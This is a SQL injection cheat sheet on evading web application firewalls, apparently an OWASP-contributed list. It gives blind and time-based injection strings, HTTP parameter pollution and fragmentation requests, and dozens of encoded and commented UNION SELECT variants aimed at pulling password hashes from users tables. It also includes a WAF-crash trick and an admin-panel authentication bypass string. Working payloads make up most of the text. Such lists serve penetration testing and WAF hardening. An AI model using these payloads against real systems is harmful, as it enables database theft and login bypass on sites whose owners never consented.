SQL Injection Bypassing WAF
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SQLi
A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.
SQL Injection – Basic Concepts
There are two types of SQL Injection
• SQL Injection into a String/Char parameter
Example: SELECT * from table where example = 'Example'
• SQL Injection into a Numeric parameter
Example: SELECT * from table where id = 123
- Exploitation of SQL Injection vulnerabilities is divided into classes according to the DBMS type and injection conditions.
• A vulnerable request can get into Insert, Update, Delete, etc.
Example: UPDATE users SET pass = '1' where user = 't1' OR 1=1--'
- Blind SQL Injection
Example: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
SLEEP(5)--
SELECT BENCHMARK(1000000,MD5('A'));
id=1 OR SLEEP(25)=0 LIMIT 1--
id=1) OR SLEEP(25)=0 LIMIT 1--
id=1' OR SLEEP(25)=0 LIMIT 1--
id=1') OR SLEEP(25)=0 LIMIT 1--
id=1)) OR SLEEP(25)=0 LIMIT 1--
id=SELECT SLEEP(25)--
- Exploitation features for various DBMSs
Example: (MySQL): SELECT * from table where id = 1 union select 1,2,3
Example: (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Bypassing WAF: SQL Injection - Normalization Method Example Number (1) of a vulnerability in the function of request Normalization. • The following request doesn’t allow anyone to conduct an attack
/?id=1+union+select+1,2,3/*
• If there is a corresponding vulnerability in the WAF, this request
will be successfully performed
/?id=1/*union*/union/*select*/select+1,2,3/*
• After being processed by WAF, the request will become
index.php?id=1/*uni X on*/union/*sel X ect*/select+1,2,3/*
The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source. Example Number (2) of a vulnerability in the function of request Normalization. • Similarly, the following request doesn’t allow anyone to conduct an attack
/?id=1+union+select+1,2,3/*
• If there is a corresponding vulnerability in the WAF, this request will be successfully performed
/?id=1+un/**/ion+sel/**/ect+1,2,3--
• The SQL request will become
SELECT * from table where id =1 union select 1,2,3--
Instead of construction /**/, any symbol sequence that WAF cuts off can be used (e.g., #####, %00).
The given example works in case of excessive cleaning of incoming data (replacement of a regular expression with the empty string).
‘Using HTTP Parameter Pollution (HPP)’
• The following request doesn’t allow anyone to conduct an attack
/?id=1;select+1,2,3+from+users+where+id=1--
• This request will be successfully performed using HPP
/?id=1;select+1&id=2,3+from+users+where+id=1--
Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked. EU09 Luca Carettoni, Stefano diPaola
Using HTTP Parameter Pollution (HPP)
• Vulnerable code
SQL=" select key from table where id= "+Request.QueryString("id")
• This request is successfully performed using the HPP technique
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
• The SQL request becomes select key from table where
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/users
ByPassing WAF: SQL Injection – HPF Using HTTP Parameter Fragmentation (HPF)
• Vulnerable code example
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit".$_GET['c']);
• The following request doesn’t allow anyone to conduct an attack
/?a=1+union+select+1,2/*
• These requests may be successfully performed using HPF
/?a=1+union/*&b=*/select+1,2
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
• The SQL requests become
select * from table where a=1 union/* and b=*/select 1,2
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
Bypassing WAF: Blind SQL Injection Using logical requests AND/OR • The following requests allow one to conduct a successful attack for many WAFs
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
Negation and inequality signs (!=, <>, <, >) can be used instead of the equality one – It is amazing, but many WAFs miss it!
It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms. substring() -> mid(), substr() ascii() -> hex(), bin() benchmark() -> sleep() Wide variety of logical requests. and 1 or 1 and 1=1 and 2<3 and ‘a’=’a’ and ‘a’<>‘b’ and char(32)=’ ‘ and 3<=2 and 5<=>4 and 5<=>5 and 5 is null or 5 is not null …. An example of various request notations with the same meaning. select user from mysql.user where user = ‘user’ OR mid(password,1,1)=’*’ select user from mysql.user where user = ‘user’ OR mid(password,1,1)=0x2a select user from mysql.user where user = ‘user’ OR mid(password,1,1)=unhex(‘2a’) select user from mysql.user where user = ‘user’ OR mid(password,1,1) regexp ‘[*]’ select user from mysql.user where user = ‘user’ OR mid(password,1,1) like ‘*’ select user from mysql.user where user = ‘user’ OR mid(password,1,1) rlike ‘[*]’ select user from mysql.user where user = ‘user’ OR ord(mid(password,1,1))=42 select user from mysql.user where user = ‘user’ OR ascii(mid(password,1,1))=42 select user from mysql.user where user = ‘user’ OR find_in_set(‘2a’,hex(mid(password,1,1)))=1 select user from mysql.user where user = ‘user’ OR position(0x2a in password)=1 select user from mysql.user where user = ‘user’ OR locate(0x2a,password)=1 Known: substring((select ‘password’),1,1) = 0x70 substr((select ‘password’),1,1) = 0x70 mid((select ‘password’),1,1) = 0x70 New: strcmp(left(‘password’,1), 0x69) = 1 strcmp(left(‘password’,1), 0x70) = 0 strcmp(left(‘password’,1), 0x71) = -1 STRCMP(expr1,expr2) returns 0 if the strings are the same, -1 if the first , argument is smaller than the second one, and 1 otherwise.
An example of signature bypass. The following request gets to WAF signature /?id=1+union+(select+1,2+from+users) But sometimes, the signatures used can be bypassed /?id=1+union+(select+’xz’from+xxx)
/?id=(1)union(select(1),mid(hash,1,32)from(users))
/?id=1+union+(select'1',concat(login,hash)from+users)
/?id=(1)union(((((((select(1),hex(hash)from(users))))))))
/?id=(1)or(0x50=0x50)
An SQL Injection attack can successfully bypass the WAF , and be conducted in all following cases: • Vulnerabilities in the functions of WAF request normalization. • Application of HPP and HPF techniques. • Bypassing filter rules (signatures). • Vulnerability exploitation by the method of blind SQL Injection. • Attacking the application operating logics (and/or)
WAF Bypassing Strings.
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
concat(0x223e,@@version)
concat(0x273e27,version(),0x3c212d2d)
concat(0x223e3c62723e,version(),0x3c696d67207372633d22)
concat(0x223e,@@version,0x3c696d67207372633d22)
concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62723e)
concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22)
concat(‘’,@@version,’’)
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0d%0aSeleCt%0d%0a
UNION/*&test=1*/SELECT/*&pwn=2*/
un?+un/**/ion+se/**/lect+
+UNunionION+SEselectLECT+
+uni%0bon+se%0blect+
%252f%252a*/union%252f%252a /select%252f%252a*/
/%2A%2A/union/%2A%2A/select/%2A%2A/
%2f**%2funion%2f**%2fselect%2f**%2f
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*!UnIoN*/SeLecT+
Union Select by PASS with Url Encoded Method: %55nion(%53elect) union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect %23?%0auion%20?%23?%0aselect %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect %55nion %53eLEct u%6eion se%6cect unio%6e %73elect unio%6e%20%64istinc%74%20%73elect uni%6fn distinct%52OW s%65lect %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7 Illegal mix of Collations ByPass Method : unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)
union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%20115,%2037)?
Bypass with Comments
SQL comments allow us to bypass a lot of filtering and WAFs.
Code :
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--
Case Changing
Some WAFs filter only lowercase SQL keyword.
Regex Filter: /union\sselect/g
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
Replaced Keywords
Some application and WAFs use preg_replace to remove all SQL keyword. So we can bypass easily.
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
Some case SQL keyword was filtered out and replaced with whitespace. So we can use “%0b” to bypass.
http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
For Mod_rewrite, Comments “/**/” cannot bypassed. So we use “%0b” replace “/**/”.
Forbidden: http://victim.com/main/news/id/1/**/
|
|/**/lpad(first_name,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b
|
|%0blpad(first_name,7,1).html
Advanced Methods
Crash Firewall via doing Buffer Over Flow.
1) Buffer Overflow / Firewall Crash: Many Firewalls are developed in C/C++ and we can Crash them using Buffer Overflow.
http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
You can test if the WAF can be crashed by typing:
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
If you get a 500, you can exploit it using the Buffer Overflow Method.
2) Replace Characters with their HEX Values: We can replace some characters with their HEX (URL-Encoded) Values.
Example:
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
(which means “union select”)
4) Misc Exploitable Functions: Many firewalls try to offer more Protection by adding Prototype or Strange Functions! (Which, of course, we can exploit!):
Example:
This firewall below replaces “*” (asterisks) with Whitespaces! What we can do is this:
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
(If the Firewall removes the “*”, the result will be: 15+union+select….)
So, if you find such a silly function, you can exploit it, in this way.
Auth Bypass
If we need to bypass some admin panels, and we do that using or 1=1.
Code:
or 1-- -' or 1 or '1"or 1 or"
SELECT * FROM login WHERE id=1 or 1– -‘ or 1 or ‘1”or 1 or” AND username=’’ AND password=’’ the “or 1– -“ gets active, make the condition true and ignores the rest of the query. now lets check regular string-
SELECT * FROM login WHERE username=’ or 1– -‘ or 1 or ‘1”or 1 or” ‘ ….. the “or 1” part make the query true, and the other parts are considered as the comparison strings. same with the double quotes. SELECT * FROM login WHERE username=” or 1– -‘ or 1 or ‘1”or 1 or” “
Benchmark
Please use ’ Benchmark’ and make you own SQLi Strings and test your different test cases on Benchmark
If you have any SQLi Quires which is Missed above Please help to Contribute Mail Down and be a part of The Popular SQLi Evasion CheatSheet.
Contributor
Dhiraj Mishra (mishra.dhiraj@owasp.org)